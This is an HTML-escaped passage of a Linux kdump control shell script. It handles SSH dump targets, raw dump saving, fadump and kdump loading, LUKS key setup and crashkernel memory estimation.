	done &lt;&lt;&lt; &quot;$(kdump_read_conf)&quot;

	#make sure they&#039;ve configured kdump.conf for ssh dumps
	SSH_TARGET=$(echo -n &quot;$DUMP_TARGET&quot; | sed -n &#039;/.*@/p&#039;)
	if [[ -z $SSH_TARGET ]]; then
		return 1
	fi
	return 0
}

# ipv6 host address may takes a long time to be ready.
# Instead of checking against ipv6 address, we just check the network reachable
# by the return val of &#039;ssh&#039;
check_and_wait_network_ready()
{
	local start_time
	local warn_once=1
	local cur
	local diff
	local retval
	local errmsg

	start_time=$(date +%s)
	while true; do
		errmsg=$(ssh -i &quot;$SSH_KEY_LOCATION&quot; -o BatchMode=yes &quot;$DUMP_TARGET&quot; mkdir -p &quot;$SAVE_PATH&quot; 2&gt;&amp;1)
		retval=$?

		# ssh exits with the exit status of the remote command or with 255 if an error occurred
		if [[ $retval -eq 0 ]]; then
			return 0
		elif [[ $retval -ne 255 ]]; then
			derror &quot;Could not create $DUMP_TARGET:$SAVE_PATH, you should check the privilege on server side&quot;
			return 1
		fi

		# if server removes the authorized_keys or, no /root/.ssh/kdump_id_rsa
		ddebug &quot;$errmsg&quot;
		if echo &quot;$errmsg&quot; | grep -q &quot;Permission denied\|No such file or directory\|Host key verification failed&quot;; then
			derror &quot;Could not create $DUMP_TARGET:$SAVE_PATH, you probably need to run \&quot;kdumpctl propagate\&quot;&quot;
			return 1
		fi

		if [[ $warn_once -eq 1 ]]; then
			dwarn &quot;Network dump target is not usable, waiting for it to be ready...&quot;
			warn_once=0
		fi

		cur=$(date +%s)
		diff=$((cur - start_time))
		# 60s time out
		if [[ $diff -gt 180 ]]; then
			break
		fi
		sleep 1
	done

	dinfo &quot;Could not create $DUMP_TARGET:$SAVE_PATH, ipaddr is not ready yet. You should check network connection&quot;
	return 1
}

check_ssh_target()
{
	check_and_wait_network_ready
}

propagate_ssh_key()
{
	if ! check_ssh_config; then
		derror &quot;No ssh config specified in $KDUMP_CONFIG_FILE.  Can&#039;t propagate&quot;
		exit 1
	fi

	local KEYFILE=$SSH_KEY_LOCATION
	local errmsg=&quot;Failed to propagate ssh key&quot;

	#Check to see if we already created key, if not, create it.
	if [[ -f $KEYFILE ]]; then
		dinfo &quot;Using existing keys...&quot;
	else
		dinfo &quot;Generating new ssh keys... &quot;
		/usr/bin/ssh-keygen -t rsa -f &quot;$KEYFILE&quot; -N &quot;&quot; 2&gt;&amp;1 &gt; /dev/null
		dinfo &quot;done.&quot;
	fi

	#now find the target ssh user and server to contact.
	SSH_USER=$(echo &quot;$DUMP_TARGET&quot; | cut -d@ -f1)
	SSH_SERVER=$(echo &quot;$DUMP_TARGET&quot; | sed -e&#039;s/\(.*@\)\(.*$\)/\2/&#039;)

	#now send the found key to the found server
	ssh-copy-id -i &quot;$KEYFILE&quot; &quot;$SSH_USER@$SSH_SERVER&quot;
	RET=$?
	if [[ $RET == 0 ]]; then
		dinfo &quot;$KEYFILE has been added to ~$SSH_USER/.ssh/authorized_keys on $SSH_SERVER&quot;
		return 0
	else
		derror &quot;$errmsg, $KEYFILE failed in transfer to $SSH_SERVER&quot;
		exit 1
	fi
}

show_reserved_mem()
{
	local mem
	local mem_mb

	mem=$(get_reserved_mem_size)
	mem_mb=$((mem / 1024 / 1024))

	dinfo &quot;Reserved ${mem_mb}MB memory for crash kernel&quot;
}

save_raw()
{
	local kdump_dir
	local raw_target

	raw_target=$(kdump_get_conf_val raw)
	[[ -z $raw_target ]] &amp;&amp; return 0
	[[ -b $raw_target ]] || {
		derror &quot;raw partition $raw_target not found&quot;
		return 1
	}
	check_fs=$(lsblk --nodeps -npo FSTYPE &quot;$raw_target&quot;)
	if [[ $(echo &quot;$check_fs&quot; | wc -w) -ne 0 ]]; then
		dwarn &quot;Warning: Detected &#039;$check_fs&#039; signature on $raw_target, data loss is expected.&quot;
		return 0
	fi
	kdump_dir=$(kdump_get_conf_val path)
	if [[ -z ${kdump_dir} ]]; then
		coredir=&quot;/var/crash/$(date +&quot;%Y-%m-%d-%H:%M&quot;)&quot;
	else
		coredir=&quot;${kdump_dir}/$(date +&quot;%Y-%m-%d-%H:%M&quot;)&quot;
	fi

	mkdir -p &quot;$coredir&quot;
	[[ -d $coredir ]] || {
		derror &quot;failed to create $coredir&quot;
		return 1
	}
	if makedumpfile -R &quot;$coredir/vmcore&quot; &lt; &quot;$raw_target&quot; &gt; /dev/null 2&gt;&amp;1; then
		# dump found
		dinfo &quot;Dump saved to $coredir/vmcore&quot;
		# wipe makedumpfile header
		dd if=/dev/zero of=&quot;$raw_target&quot; bs=1b count=1 2&gt; /dev/null
	else
		rm -rf &quot;$coredir&quot;
	fi

	return 0
}

local_fs_dump_target()
{
	local _target

	if _target=$(grep -E &quot;^ext[234]|^xfs|^btrfs|^minix&quot; /etc/kdump.conf); then
		echo &quot;$_target&quot; | awk &#039;{print $2}&#039;
	fi
}

path_to_be_relabeled()
{
	local _path _target _mnt=&quot;/&quot; _rmnt

	if is_user_configured_dump_target; then
		if is_mount_in_dracut_args; then
			return
		fi

		_target=$(local_fs_dump_target)
		if [[ -n $_target ]]; then
			_mnt=$(get_mntpoint_from_target &quot;$_target&quot;)
			if ! is_mounted &quot;$_mnt&quot;; then
				return
			fi
		else
			return
		fi
	fi

	_path=$(get_save_path)
	# if $_path is masked by other mount, we will not relabel it.
	_rmnt=$(df &quot;$_mnt/$_path&quot; 2&gt; /dev/null | tail -1 | awk &#039;{ print $NF }&#039;)
	if [[ $_rmnt == &quot;$_mnt&quot; ]]; then
		echo &quot;$_mnt/$_path&quot;
	fi
}

selinux_relabel()
{
	local _path _i _attr

	_path=$(path_to_be_relabeled)
	if [[ -z $_path ]] || ! [[ -d $_path ]]; then
		return
	fi

	while IFS= read -r -d &#039;&#039; _i; do
		_attr=$(getfattr -m &quot;security.selinux&quot; &quot;$_i&quot; 2&gt; /dev/null)
		if [[ -z $_attr ]]; then
			restorecon &quot;$_i&quot;
		fi
	done &lt; &lt;(find &quot;$_path&quot; -print0)
}

check_fence_kdump_config()
{
	local hostname
	local ipaddrs
	local nodes

	hostname=$(hostname)
	ipaddrs=$(hostname -I)
	nodes=$(kdump_get_conf_val &quot;fence_kdump_nodes&quot;)

	for node in $nodes; do
		if [[ $node == &quot;$hostname&quot; ]]; then
			derror &quot;Option fence_kdump_nodes cannot contain $hostname&quot;
			return 1
		fi
		# node can be ipaddr
		if echo &quot;$ipaddrs &quot; | grep -q &quot;$node &quot;; then
			derror &quot;Option fence_kdump_nodes cannot contain $node&quot;
			return 1
		fi
	done

	return 0
}

check_dump_feasibility()
{
	if [[ $DEFAULT_DUMP_MODE == &quot;fadump&quot; ]]; then
		return 0
	fi

	check_kdump_feasibility
}

fadump_bootargs_append()
{
	if [[ -f &quot;$FADUMP_APPEND_ARGS_SYS_NODE&quot; ]]; then
		output=$( { echo &quot;${FADUMP_COMMANDLINE_APPEND}&quot; &gt; &quot;$FADUMP_APPEND_ARGS_SYS_NODE&quot; ; } 2&gt;&amp;1)
		if [ $? -eq 0 ]; then
			output=$(cat &quot;$FADUMP_APPEND_ARGS_SYS_NODE&quot;)
			dinfo &quot;fadump: additional parameters for capture kernel: &#039;$output&#039;&quot;
		else
			dwarn &quot;WARNING: failed to setup additional parameters for fadump capture kernel: &#039;$output&#039;&quot;
		fi
	else
		dwarn &quot;WARNING: this kernel does not support passing additional parameters to fadump capture kernel.&quot;
	fi
}

start_fadump()
{
	fadump_bootargs_append
	echo 1 &gt; &quot;$FADUMP_REGISTER_SYS_NODE&quot;
	if ! is_kernel_loaded &quot;fadump&quot;; then
		derror &quot;fadump: failed to register&quot;
		return 1
	fi

	dinfo &quot;fadump: registered successfully&quot;
	return 0
}

start_dump()
{
	# On secure boot enabled Power systems, load kernel signing key on .ima for signature
	# verification using kexec file based syscall.
	if [[ &quot;$(uname -m)&quot; == ppc64le ]] &amp;&amp; is_secure_boot_enforced; then
		load_kdump_kernel_key
	fi

	if [[ $DEFAULT_DUMP_MODE == &quot;fadump&quot; ]]; then
		start_fadump
	else
		load_kdump
	fi
}

check_failure_action_config()
{
	local default_option
	local failure_action
	local option=&quot;failure_action&quot;

	default_option=$(kdump_get_conf_val default)
	failure_action=$(kdump_get_conf_val failure_action)

	if [[ -z $failure_action ]] &amp;&amp; [[ -z $default_option ]]; then
		return 0
	elif [[ -n $failure_action ]] &amp;&amp; [[ -n $default_option ]]; then
		derror &quot;Cannot specify &#039;failure_action&#039; and &#039;default&#039; option together&quot;
		return 1
	fi

	if [[ -n $default_option ]]; then
		option=&quot;default&quot;
		failure_action=&quot;$default_option&quot;
	fi

	case &quot;$failure_action&quot; in
	reboot | halt | poweroff | shell | dump_to_rootfs)
		return 0
		;;
	*)
		dinfo $&quot;Usage kdump.conf: $option {reboot|halt|poweroff|shell|dump_to_rootfs}&quot;
		return 1
		;;
	esac
}

check_final_action_config()
{
	local final_action

	final_action=$(kdump_get_conf_val final_action)
	if [[ -z $final_action ]]; then
		return 0
	else
		case &quot;$final_action&quot; in
		reboot | halt | poweroff)
			return 0
			;;
		*)
			dinfo $&quot;Usage kdump.conf: final_action {reboot|halt|poweroff}&quot;
			return 1
			;;
		esac
	fi
}

remove_luks_vol_keys()
{
	local _key_line _key_id _key_desc _status=1

	# Get all keys from @u keyring and process each line
	# sudo process by default only has the permission to list the keys
	# stored in user keyring i.e. &quot;sudo keyctl list&quot; can work not
	# &quot;sudo keyctl unlink/show&quot;
	while read -r _key_line; do
		# Skip header lines and empty lines
		[[ $_key_line =~ ^[0-9]+: ]] || continue

		# Extract key ID (first field before colon)
		_key_id=${_key_line%%:*}

		# Extract key description (everything after &quot;logon: &quot; or &quot;user: &quot;)
		if [[ $_key_line =~ logon:\ (.+)$ ]]; then
			_key_desc=${BASH_REMATCH[1]}
		else
			continue
		fi

		# Check if key description starts with LUKS_KEY_PRFIX
		if [[ $_key_desc == &quot;$LUKS_KEY_PRFIX&quot;* ]]; then
			&quot;${KEYCTL_CMD[@]}&quot; unlink &quot;$_key_id&quot;
			_status=0
		fi
	done &lt; &lt;(keyctl list @u 2&gt; /dev/null || true)

	return $_status
}

_get_luks_key_by_unlock()
{
	local _devuuid=$1 _key_des=$2
	local _max_retries
	local _attempt=1

	local _luks_unlock_cmd=&quot;&quot;

	# Check if stdin is a terminal.
	if [ -t 0 ]; then
		_max_retries=5
		ddebug &quot;Attempting to unlock LUKS device. You have $_max_retries attempts.&quot;
	else
		# Not a terminal (e.g., running as system service), so only try once
		# for cases where volume key is sealed to TPM which doesn&#039;t need user
		# interaction.
		_max_retries=1
		ddebug &quot;Attempting to unlock LUKS device (non-interactive mode)...&quot;
	fi

	while [ &quot;$_attempt&quot; -le &quot;$_max_retries&quot; ]; do
		if cryptsetup open &quot;UUID=$_devuuid&quot; DUMMY &quot;--link-vk-to-keyring=@u::%logon:$_key_des&quot; --test-passphrase; then
			ddebug &quot;Success: LUKS device unlocked.&quot;
			# For an interactive terminal, it&#039;s possible an user manually entered a passphrase
			[ -t 0 ] &amp;&amp; dwarn &quot;If you typed passphrase to unlock it manually, please run &#039;kdumpctl setup-crypttab&#039; (see man kdumpctl).&quot;
			return 0
		fi
		_attempt=$((_attempt + 1))
	done

	derror &quot;Error: Could not unlock the LUKS device.&quot;
	return 1
}

# Some users may use &quot;sudo kdumpctl&quot;. sudo process by default inherits the
# session keyring (@s) of the original user which means it can&#039;t read LUKS keys
# stored in root&#039;s user (@u) which is only linked to root&#039;s session keyring.
# So use &quot;sudo -i keyctl&quot; and &quot;sudo kexec&quot; automatically in order to be able to
# search and read the LUKS key(s).
KEYCTL_CMD=(keyctl)
prepare_luks()
{
	local _key_id _key_des _luks_unlock_cmd
	declare -a _luks_devs

	# Use &quot;sudo -i&quot; to use the root&#039;s session keyring to access LUKS keys
	if ! keyctl show @s | grep -qs &quot;_uid.0$&quot;; then
		KEYCTL_CMD=(sudo -i keyctl)
	fi

	mapfile -t _luks_devs &lt; &lt;(get_all_kdump_crypt_dev)

	if [[ ${#_luks_devs[@]} -lt 1 ]]; then
		if remove_luks_vol_keys; then
			dwarn &quot;Encrypted device not in dump path, please drop the link-volume-key option in $CRYPTTAB_FILE&quot;
		fi
		return 0
	fi

	# Currently only x86_64 is supported
	if [[ &quot;$(uname -m)&quot; != &quot;x86_64&quot; ]]; then
		dwarn &quot;Warning: Encrypted device is in dump path, which is not recommended, see kexec-kdump-howto.txt for more details.&quot;
		return 0
	fi

	if [[ ! -d $LUKS_CONFIGFS ]]; then
		dwarn &quot;$LUKS_CONFIGFS not available, please use a newer kernel or see kexec-kdump-howto.txt to make sure dumping to encrypted target will work.&quot;
		remove_luks_vol_keys
		return 0
	fi

	# For the case of CPU/memory hotplugging, we can reuse loaded keys
	[[ $(cat $LUKS_CONFIGFS/reuse) == 1 ]] &amp;&amp; return 0

	for _devuuid in &quot;${_luks_devs[@]}&quot;; do
		_key_dir=$LUKS_CONFIGFS/$_devuuid
		_key_des=$LUKS_KEY_PRFIX$_devuuid
		if _key_id=$(&quot;${KEYCTL_CMD[@]}&quot; request logon &quot;$_key_des&quot; 2&gt; /dev/null); then
			ddebug &quot;Succesfully get @u::%logon:$_key_des&quot;
		elif _get_luks_key_by_unlock &quot;$_devuuid&quot; &quot;$_key_des&quot;; then
			if ! _key_id=$(&quot;${KEYCTL_CMD[@]}&quot; request logon &quot;$_key_des&quot;); then
				derror &quot;Probably you are using &#039;sudo kdumpctl&#039; or &#039;sudo su&#039;, please retry with &#039;sudo -i kdumpctl&#039;&quot;
				return 1
			fi
			ddebug &quot;Succesfully get @u::%logon:$_key_des after cryptsetup&quot;
		else
			derror &quot;Failed to get logon key $_key_des. Run &#039;kdumpctl restart&#039; manually to start kdump.&quot;
			return 1
		fi

		# Let the key expire after 300 seconds
		&quot;${KEYCTL_CMD[@]}&quot; timeout &quot;$_key_id&quot; 300
		mkdir &quot;$_key_dir&quot;
		printf &quot;%s&quot; &quot;$_key_des&quot; &gt; &quot;$_key_dir&quot;/description
	done
}

start()
{
	if ! check_dump_feasibility; then
		derror &quot;Starting kdump: [FAILED]&quot;
		return 1
	fi

	if ! check_config; then
		derror &quot;Starting kdump: [FAILED]&quot;
		return 1
	fi

	if sestatus 2&gt; /dev/null | grep -q &quot;SELinux status.*enabled&quot;; then
		selinux_relabel
	fi

	if ! save_raw; then
		derror &quot;Starting kdump: [FAILED]&quot;
		return 1
	fi

	if [[ $DEFAULT_DUMP_MODE == &quot;kdump&quot; ]] &amp;&amp; is_kernel_loaded &quot;kdump&quot;; then
		dwarn &quot;Kdump already running: [WARNING]&quot;
		return 0
	fi

	if check_ssh_config; then
		if ! check_ssh_target; then
			derror &quot;Starting kdump: [FAILED]&quot;
			return 1
		fi
	fi

	if ! check_rebuild; then
		derror &quot;Starting kdump: [FAILED]&quot;
		return 1
	fi

	if ! start_dump; then
		derror &quot;Starting kdump: [FAILED]&quot;
		return 1
	fi

	dinfo &quot;Starting kdump: [OK]&quot;
}

# @description Updates a crypttab file to add the &#039;link-volume-key&#039; option for kdump devices.
#
# It gets the list of kdump-related UUIDs by calling the &#039;get_all_kdump_crypt_dev&#039; function.
# The function is idempotent and performs pre-flight checks before making any modifications.
#
# @exitcode 0 If the update was successful or no changes were needed.
# @exitcode 1 If there is an error (e.g. UUID mismatch).
#
# @stdout No output on success.
# @stderr Progress and error messages are printed to stderr.
CRYPTTAB_FILE=/etc/crypttab
setup_crypttab()
{
	local _devuuid uuids_string temp_file
	declare -a _luks_devs

	if [[ &quot;$(uname -m)&quot; != &quot;x86_64&quot; ]]; then
		dwarn &quot;Currently only x86_64 supported&quot;
		return 0
	fi

	if [[ ! -f $CRYPTTAB_FILE ]]; then
		dinfo &quot;$CRYPTTAB_FILE doesn&#039;t exist, skip setup&quot;
		return 0
	fi

	mapfile -t _luks_devs &lt; &lt;(get_all_kdump_crypt_dev)
	if [[ ${#_luks_devs[@]} -eq 0 ]]; then
		dinfo &quot;No LUKS-encrypted device found to process. Exiting.&quot;
		return 0
	fi

	for _devuuid in &quot;${_luks_devs[@]}&quot;; do
		if ! awk -v devuuid=&quot;$_devuuid&quot; &#039;!/^[[:space:]]*#/ &amp;&amp; $2 == &quot;UUID=&quot;devuuid { found=1; exit } END { exit !found }&#039; &quot;$CRYPTTAB_FILE&quot;; then
			derror &quot;Device UUID=${_devuuid} doesn&#039;t exist.&quot;
			return 1
		fi
	done

	uuids_string=&quot;${_luks_devs[*]}&quot;
	temp_file=$(mktemp)

	local status_updates

	status_updates=$({
		awk -v prefix=&quot;$LUKS_KEY_PRFIX&quot; -v targets=&quot;$uuids_string&quot; &#039;
    BEGIN {
        split(targets, temp_arr, &quot; &quot;)
        for (i in temp_arr) { target_uuids[temp_arr[i]] = 1 }
    }
    /^#|^$/ { print; next }
    {
        split($2, uuid_parts, &quot;=&quot;)
        current_uuid = uuid_parts[2]

        if (current_uuid in target_uuids) {
            target_option = &quot;link-volume-key=@u::%logon:&quot; prefix current_uuid

            if (!index($0, target_option)) {
                # If we need to modify, check if we are replacing or adding
                if (index($0, &quot;link-volume-key=&quot;)) {
                    print &quot;STATUS:REPLACED:&quot; current_uuid &gt; &quot;/dev/stderr&quot;
                } else {
                    print &quot;STATUS:ADDED:&quot; current_uuid &gt; &quot;/dev/stderr&quot;
                }

                # Remove any existing, incorrect link-volume-key option
                sub(/,?link-volume-key=[^, ]+/, &quot;&quot;, $4)
                sub(/^,/, &quot;&quot;, $4)

                # Add the correct option
                if (NF &lt; 3 || $3 == &quot;&quot;) { $3 = &quot;none&quot; }
                if ($4 == &quot;&quot; || $4 == &quot;none&quot;) {
                    $4 = target_option
                } else {
                    $4 = $4 &quot;,&quot; target_option
                }
            }
        }
        print
    }&#039; &quot;$CRYPTTAB_FILE&quot; &gt; &quot;$temp_file&quot;
	} 2&gt;&amp;1)

	if cmp -s &quot;$CRYPTTAB_FILE&quot; &quot;$temp_file&quot;; then
		dinfo &quot;No changes were needed. $CRYPTTAB_FILE is already up to date.&quot;
		rm &quot;$temp_file&quot;
		return 0
	else
		mv &quot;$temp_file&quot; &quot;$CRYPTTAB_FILE&quot;
		restorecon &quot;$CRYPTTAB_FILE&quot;
		dinfo &quot;Success! $CRYPTTAB_FILE has been updated.&quot;

		# Parse status updates and report on each changed UUID
		while IFS=: read -r _ status uuid; do
			if [[ $status == &quot;ADDED&quot; ]]; then
				dinfo &quot;   - Added link-volume-key for UUID: $uuid&quot;
			elif [[ $status == &quot;REPLACED&quot; ]]; then
				dinfo &quot;   - Replaced link-volume-key for UUID: $uuid&quot;
			fi
		done &lt; &lt;(echo &quot;$status_updates&quot; | grep &quot;STATUS:&quot;)
		dinfo &quot;If the dump target is rootfs and you call this command manually, you will need to run &#039;dracut -f --regenerate-all&#039; to regenerate initramfs.&quot;

		return 0
	fi
}

reload()
{
	if ! is_kernel_loaded &quot;$DEFAULT_DUMP_MODE&quot;; then
		dwarn &quot;Kdump was not running: [WARNING]&quot;
	fi

	if [[ $DEFAULT_DUMP_MODE == &quot;fadump&quot; ]]; then
		reload_fadump
		return
	else
		if ! stop_kdump; then
			derror &quot;Stopping kdump: [FAILED]&quot;
			return 1
		fi
	fi

	dinfo &quot;Stopping kdump: [OK]&quot;

	if ! setup_initrd; then
		derror &quot;Starting kdump: [FAILED]&quot;
		return 1
	fi

	if ! start_dump; then
		derror &quot;Starting kdump: [FAILED]&quot;
		return 1
	fi

	dinfo &quot;Starting kdump: [OK]&quot;
}

stop_fadump()
{
	echo 0 &gt; &quot;$FADUMP_REGISTER_SYS_NODE&quot;
	if is_kernel_loaded &quot;fadump&quot;; then
		derror &quot;fadump: failed to unregister&quot;
		return 1
	fi

	dinfo &quot;fadump: unregistered successfully&quot;
	return 0
}

stop_kdump()
{
	if is_secure_boot_enforced; then
		$KEXEC -s -p -u
	else
		$KEXEC -p -u
	fi

	# shellcheck disable=SC2181
	if [[ $? != 0 ]]; then
		derror &quot;kexec: failed to unload kdump kernel&quot;
		return 1
	fi

	dinfo &quot;kexec: unloaded kdump kernel&quot;
	return 0
}

reload_fadump()
{
	fadump_bootargs_append
	if echo 1 &gt; &quot;$FADUMP_REGISTER_SYS_NODE&quot;; then
		dinfo &quot;fadump: re-registered successfully&quot;
		return 0
	else
		# FADump could fail on older kernel where re-register
		# support is not enabled. Try stop/start from userspace
		# to handle such scenario.
		if stop_fadump; then
			start_fadump
			return
		fi
	fi

	return 1
}

stop()
{
	if [[ $DEFAULT_DUMP_MODE == &quot;fadump&quot; ]]; then
		stop_fadump
	else
		stop_kdump
	fi

	# shellcheck disable=SC2181
	if [[ $? != 0 ]]; then
		derror &quot;Stopping kdump: [FAILED]&quot;
		return 1
	fi

	dinfo &quot;Stopping kdump: [OK]&quot;
	return 0
}

rebuild()
{
	check_config || return 1

	if check_ssh_config; then
		if ! check_ssh_target; then
			return 1
		fi
	fi

	setup_initrd || return 1

	dinfo &quot;Rebuilding $TARGET_INITRD&quot;
	rebuild_initrd
}

check_vmlinux()
{
	# Use readelf to check if it&#039;s a valid ELF
	readelf -h &quot;$1&quot; &amp;&gt; /dev/null || return 1
}

get_vmlinux_size()
{
	local size=0 _msize

	while read -r _msize; do
		size=$((size + _msize))
	done &lt;&lt;&lt; &quot;$(readelf -l -W &quot;$1&quot; | awk &#039;/^  LOAD/{print $6}&#039; 2&gt; /dev/stderr)&quot;

	echo $size
}

try_decompress()
{
	# The obscure use of the &quot;tr&quot; filter is to work around older versions of
	# &quot;grep&quot; that report the byte offset of the line instead of the pattern.

	# Try to find the header ($1) and decompress from here
	for pos in $(tr &quot;$1\n$2&quot; &quot;\n$2=&quot; &lt; &quot;$4&quot; | grep -abo &quot;^$2&quot;); do
		if ! type -P &quot;$3&quot; &gt; /dev/null; then
			ddebug &quot;Signiature detected but &#039;$3&#039; is missing, skip this decompressor&quot;
			break
		fi

		pos=${pos%%:*}
		tail &quot;-c+$pos&quot; &quot;$img&quot; | $3 &gt; &quot;$5&quot; 2&gt; /dev/null
		if check_vmlinux &quot;$5&quot;; then
			ddebug &quot;Kernel is extracted with &#039;$3&#039;&quot;
			return 0
		fi
	done

	return 1
}

# Borrowed from linux/scripts/extract-vmlinux
get_kernel_size()
{
	# Prepare temp files:
	local tmp img=$1

	tmp=&quot;$KDUMP_TMPDIR/vmlinux&quot;

	# Try to check if it&#039;s a vmlinux already
	check_vmlinux &quot;$img&quot; &amp;&amp; get_vmlinux_size &quot;$img&quot; &amp;&amp; return 0

	# That didn&#039;t work, so retry after decompression.
	try_decompress &#039;\037\213\010&#039; xy gunzip &quot;$img&quot; &quot;$tmp&quot; ||
		try_decompress &#039;\3757zXZ\000&#039; abcde unxz &quot;$img&quot; &quot;$tmp&quot; ||
		try_decompress &#039;BZh&#039; xy bunzip2 &quot;$img&quot; &quot;$tmp&quot; ||
		try_decompress &#039;\135\0\0\0&#039; xxx unlzma &quot;$img&quot; &quot;$tmp&quot; ||
		try_decompress &#039;\211\114\132&#039; xy &#039;lzop -d&#039; &quot;$img&quot; &quot;$tmp&quot; ||
		try_decompress &#039;\002!L\030&#039; xxx &#039;lz4 -d&#039; &quot;$img&quot; &quot;$tmp&quot; ||
		try_decompress &#039;(\265/\375&#039; xxx unzstd &quot;$img&quot; &quot;$tmp&quot;

	# Finally check for uncompressed images or objects:
	[[ $? -eq 0 ]] &amp;&amp; get_vmlinux_size &quot;$tmp&quot; &amp;&amp; return 0

	# Fallback to use iomem
	local _size=0 _seg
	while read -r _seg; do
		_size=$((_size + 0x${_seg#*-} - 0x${_seg%-*}))
	done &lt;&lt;&lt; &quot;$(grep -E &quot;Kernel (code|rodata|data|bss)&quot; /proc/iomem | cut -d &quot;:&quot; -f 1)&quot;
	echo $_size
}

do_estimate()
{
	local kdump_mods
	local -A large_mods
	local baseline
	local kernel_size mod_size initrd_size baseline_size runtime_size reserved_size estimated_size recommended_size _cryptsetup_overhead
	local size_mb=$((1024 * 1024))

	setup_initrd
	if [[ ! -f $TARGET_INITRD ]]; then
		derror &quot;kdumpctl estimate: kdump initramfs is not built yet.&quot;
		exit 1
	fi

	kdump_mods=&quot;$(lsinitrd &quot;$TARGET_INITRD&quot; -f /usr/lib/dracut/hostonly-kernel-modules.txt | tr &#039;\n&#039; &#039; &#039;)&quot;
	baseline=$(kdump_get_arch_recommend_size)
	if [[ ${baseline: -1} == &quot;M&quot; ]]; then
		baseline=${baseline%M}
	elif [[ ${baseline: -1} == &quot;G&quot; ]]; then
		baseline=$((${baseline%G} * 1024))
	elif [[ ${baseline: -1} == &quot;T&quot; ]]; then
		baseline=$((${baseline%Y} * 1048576))
	fi

	# The default pre-reserved crashkernel value
	baseline_size=$((baseline * size_mb))
	# Current reserved crashkernel size
	reserved_size=$(get_reserved_mem_size)
	# A pre-estimated value for userspace usage and kernel
	# runtime allocation, 64M should good for most cases
	runtime_size=$((64 * size_mb))
	# Kernel image size
	kernel_size=$(get_kernel_size &quot;$KDUMP_KERNEL&quot;)
	# Kdump initramfs size
	initrd_size=$(du -b &quot;$TARGET_INITRD&quot; | awk &#039;{print $1}&#039;)
	# Kernel modules static size after loaded
	mod_size=0
	while read -r _name _size _; do
		if [[ &quot; $kdump_mods &quot; != *&quot; $_name &quot;* ]]; then
			continue
		fi
		mod_size=$((mod_size + _size))

		# Mark module with static size larger than 2M as large module
		if [[ $((_size / size_mb)) -ge 1 ]]; then
			large_mods[$_name]=$_size
		fi
	done &lt;&lt;&lt; &quot;$(&lt; /proc/modules)&quot;

	# Extra memory usage required for LUKS2 decryption
	crypt_size=0
	for _dev in $(get_all_kdump_crypt_dev); do
		_crypt_info=$(cryptsetup luksDump &quot;/dev/block/$_dev&quot;)
		[[ $(echo &quot;$_crypt_info&quot; | sed -n &quot;s/^Version:\s*\(.*\)/\1/p&quot;) == &quot;2&quot; ]] || continue
		for _mem in $(echo &quot;$_crypt_info&quot; | sed -n &quot;s/\sMemory:\s*\(.*\)/\1/p&quot; | sort -n -r); do
			crypt_size=$((crypt_size + _mem * 1024))
			break
		done
	done

	if [[ $crypt_size -ne 0 ]]; then
		if [[ $(uname -m) == aarch64 ]]; then
			_cryptsetup_overhead=50
		else
			_cryptsetup_overhead=20
		fi

		crypt_size=$((crypt_size + _cryptsetup_overhead * size_mb))
		echo -e &quot;Encrypted kdump target requires extra memory, assuming using the keyslot with maximum memory requirement\n&quot;
	fi

	estimated_size=$((kernel_size + mod_size + initrd_size + runtime_size + crypt_size))
	if [[ $baseline_size -gt $estimated_size ]]; then
		recommended_size=$baseline_size
	else
		recommended_size=$estimated_size
	fi

	echo &quot;Reserved crashkernel:    $((reserved_size / size_mb))M&quot;
	echo &quot;Recommended crashkernel: $((recommended_size / size_mb))M&quot;
	echo
	echo &quot;Kernel image size:   $((kernel_size / size_mb))M&quot;
	echo &quot;Kernel modules size: $((mod_size / size_mb))M&quot;
	echo &quot;Initramfs size:      $((initrd_size / size_mb))M&quot;
	echo &quot;Runtime reservation: $((runtime_size / size_mb))M&quot;
	[[ $crypt_size -ne 0 ]] &amp;&amp;
		echo &quot;LUKS required size:  $((crypt_size / size_mb))M&quot;
	echo -n &quot;Large modules:&quot;
	if [[ ${#large_mods[@]} -eq 0 ]]; then
		echo &quot; &lt;none&gt;&quot;
	else
		echo &quot;&quot;
		for _mod in &quot;${!large_mods[@]}&quot;; do
			echo &quot;    $_mod: ${large_mods[$_mod]}&quot;
		done
	fi

	if [[ $reserved_size -lt $recommended_size ]]; then
		echo &quot;WARNING: Current crashkernel size is lower than recommended size $((recommended_size / size_mb))M.&quot;
	fi
}

get_default_crashkernel()
{
	local _dump_mode=$1

	kdump_get_arch_recommend_crashkernel &quot;$_dump_mode&quot;
}

# Read kernel cmdline parameter for a specific kernel
# $1: kernel path, DEFAULT or kernel path, ALL not accepted
# $2: kernel cmldine parameter
get_grub_kernel_boot_parameter()
{
	local _kernel_path=$1 _para=$2

	[[ $_kernel_path == ALL ]] &amp;&amp; derror &quot;kernel_path=ALL invalid for get_grub_kernel_boot_parameter&quot; &amp;&amp; return 1
	grubby --info=&quot;$_kernel_path&quot; | sed -En -e &quot;/^args=.*$/{s/^.*(\s|\&quot;)${_para}=(\S*).*\&quot;$/\2/p;q}&quot;
}

# get dump mode by fadump value
# return
#  - fadump, if fadump=on or fadump=nocma
#  - kdump, if fadump=off or empty fadump, return kdump
#  - error if otherwise
get_dump_mode_by_fadump_val()
{
	local _fadump_val=$1

	if [[ -z $_fadump_val ]] || [[ $_fadump_val == off ]]; then
		echo -n kdump
	elif [[ $_fadump_val == on ]] || [[ $_fadump_val == nocma ]]; then
		echo -n fadump
	else
		derror &quot;invalid fadump=$_fadump_val&quot;
		return 1
	fi
}

# get dump mode of a specific kernel
# based on its fadump kernel cmdline parameter
get_dump_mode_by_kernel()
{
	local _kernel_path=$1 _fadump_val _dump_mode

	_fadump_val=$(get_grub_kernel_boot_parameter &quot;$_kernel_path&quot; fadump)
	if _dump_mode=$(get_dump_mode_by_fadump_val &quot;$_fadump_val&quot;); then
		echo -n &quot;$_dump_mode&quot;
	else
		derror &quot;failed to get dump mode for kernel $_kernel_path&quot;
		exit
	fi
}

_filter_grubby_kernel_str()
{
	local _grubby_kernel_str=$1
	echo -n &quot;$_grubby_kernel_str&quot; | sed -n -e &#039;s/^kernel=&quot;\(.*\)&quot;/\1/p&#039;
}

_find_kernel_path_by_release()
{
	local _release=&quot;$1&quot; _grubby_kernel_str _kernel_path

	# Insert &#039;/&#039; before &#039;+&#039; to cope with grep&#039;s EREs
	_release=${_release//+/\\+}
	_grubby_kernel_str=$(grubby --info ALL | grep -E &quot;^kernel=.*$_release(\/\w+)?\&quot;$&quot;)
	_kernel_path=$(_filter_grubby_kernel_str &quot;$_grubby_kernel_str&quot;)
	if [[ -z $_kernel_path ]]; then
